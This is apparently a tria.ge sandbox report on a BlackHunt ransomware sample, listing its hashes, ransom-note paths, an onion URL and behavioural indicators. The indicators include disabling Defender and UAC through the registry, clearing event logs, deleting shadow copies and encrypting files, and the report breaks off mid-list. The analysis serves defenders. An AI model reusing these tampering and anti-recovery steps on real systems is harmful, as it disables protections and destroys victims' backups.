Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
128s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:57
Static task
static1
Behavioral task
behavioral1
Sample
817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe
Resource
win10v2004-20231222-en
General
-
Target
817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe
-
Size
707KB
-
MD5
ac8dca59890597e09a6c1a782bb69f58
-
SHA1
1fb4fb84f077b4e54075afd4962e8afbc3fb2169
-
SHA256
817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777
-
SHA512
49380a72649985676e2dab1040cc6690d8659b69a1b9bae76ba1db9ef9b2b302eb91b7468ad2aa34ebffa019d9573a6956199186b4b143040f686e1ebf236aa0
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1A8bvnh:6uaTmkZJ+naie5OTamgEoKxLWTLh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 8260 fsutil.exe 7080 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 6844 wevtutil.exe 10216 wevtutil.exe 9532 wevtutil.exe 5752 wevtutil.exe 11300 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 8684 bcdedit.exe 6612 bcdedit.exe 20344 bcdedit.exe 13292 bcdedit.exe -
Renames multiple (3361) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 8052 wbadmin.exe 8656 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\O: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\H: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\W: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\E: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\T: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\Y: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\M: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\V: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\B: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\Z: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\N: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\I: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\G: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\J: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\U: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\P: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\X: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\S: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\L: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\A: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\Q: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\R: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\ar-ae\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\cs-cz\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\status.json 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nl-nl\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ro-ro\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\cldr.md 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.xml 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\nb-no\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\root\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nb-no\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen.svg 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\ui-strings.js 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ro-ro\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-ae\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\root\ui-strings.js 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pl-pl\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\jfr.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ca-es\ui-strings.js 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-tw\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\es-es\ui-strings.js 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sl-si\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ca-es\ui-strings.js 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\es-es\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hu-hu\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ru-ru\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sl-si\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\telnet.luac 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sv-se\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\require\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ko-kr\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\classlist 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\VideoLAN\VLC\plugins\mux\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\css\main.css 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\iw_get.svg 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ko-kr\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sl-sl\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile.png 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\es-es\ui-strings.js 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\tr-tr\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugin.js 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\hu-hu\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\7-Zip\Lang\si.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\hr-hr\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ro-ro\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\selector.js 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\S_IlluEmptyStateCCFiles_280x192.svg 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-tw\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ja-jp\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-tw\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ru-ru\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 20272 20208 WerFault.exe 296 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 7692 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 7672 vssadmin.exe 7676 vssadmin.exe 8752 vssadmin.exe 9892 vssadmin.exe 7688 vssadmin.exe 3192 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 20076 taskkill.exe -
Modifies registry class 9 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon Conhost.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" Conhost.exe Key created \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\Local Settings cmd.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 19972 PING.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeRestorePrivilege 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeBackupPrivilege 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeTakeOwnershipPrivilege 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeAuditPrivilege 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeSecurityPrivilege 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeIncBasePriorityPrivilege 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeBackupPrivilege 6540 wbengine.exe Token: SeRestorePrivilege 6540 wbengine.exe Token: SeSecurityPrivilege 6540 wbengine.exe Token: SeBackupPrivilege 10516 vssvc.exe Token: SeRestorePrivilege 10516 vssvc.exe Token: SeAuditPrivilege 10516 vssvc.exe Token: SeSecurityPrivilege 5752 wevtutil.exe Token: SeBackupPrivilege 5752 wevtutil.exe Token: SeSecurityPrivilege 10216 wevtutil.exe Token: SeBackupPrivilege 10216 wevtutil.exe Token: SeSecurityPrivilege 11300 wevtutil.exe Token: SeBackupPrivilege 11300 wevtutil.exe Token: SeSecurityPrivilege 9532 wevtutil.exe Token: SeBackupPrivilege 9532 wevtutil.exe Token: SeSecurityPrivilege 6844 wevtutil.exe Token: SeBackupPrivilege 6844 wevtutil.exe Token: SeDebugPrivilege 20076 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 508 wrote to memory of 4676 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 92 PID 508 wrote to memory of 4676 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 92 PID 508 wrote to memory of 3144 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 180 PID 508 wrote to memory of 3144 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 180 PID 508 wrote to memory of 2568 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 96 PID 508 wrote to memory of 2568 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 96 PID 508 wrote to memory of 2172 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 98 PID 508 wrote to memory of 2172 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 98 PID 508 wrote to memory of 3400 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 100 PID 508 wrote to memory of 3400 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 100 PID 508 wrote to memory of 2916 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 102 PID 508 wrote to memory of 2916 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 102 PID 4676 wrote to memory of 4964 4676 cmd.exe 104 PID 4676 wrote to memory of 4964 4676 cmd.exe 104 PID 508 wrote to memory of 5040 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 109 PID 508 wrote to memory of 5040 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 109 PID 3144 wrote to memory of 1008 3144 cmd.exe 105 PID 3144 wrote to memory of 1008 3144 cmd.exe 105 PID 508 wrote to memory of 4372 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 107 PID 508 wrote to memory of 4372 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 107 PID 2568 wrote to memory of 4880 2568 cmd.exe 106 PID 2568 wrote to memory of 4880 2568 cmd.exe 106 PID 508 wrote to memory of 2376 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 111 PID 508 wrote to memory of 2376 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 111 PID 508 wrote to memory of 4032 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 113 PID 508 wrote to memory of 4032 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 113 PID 508 wrote to memory of 4472 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 124 PID 508 wrote to memory of 4472 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 124 PID 508 wrote to memory of 3152 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 123 PID 508 wrote to memory of 3152 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 123 PID 3400 wrote to memory of 1832 3400 cmd.exe 114 PID 3400 wrote to memory of 1832 3400 cmd.exe 114 PID 508 wrote to memory of 4656 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 118 PID 508 wrote to memory of 4656 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 118 PID 2172 wrote to memory of 4220 2172 cmd.exe 156 PID 2172 wrote to memory of 4220 2172 cmd.exe 156 PID 508 wrote to memory of 1580 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 122 PID 508 wrote to memory of 1580 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 122 PID 508 wrote to memory of 2788 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 120 PID 508 wrote to memory of 2788 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 120 PID 508 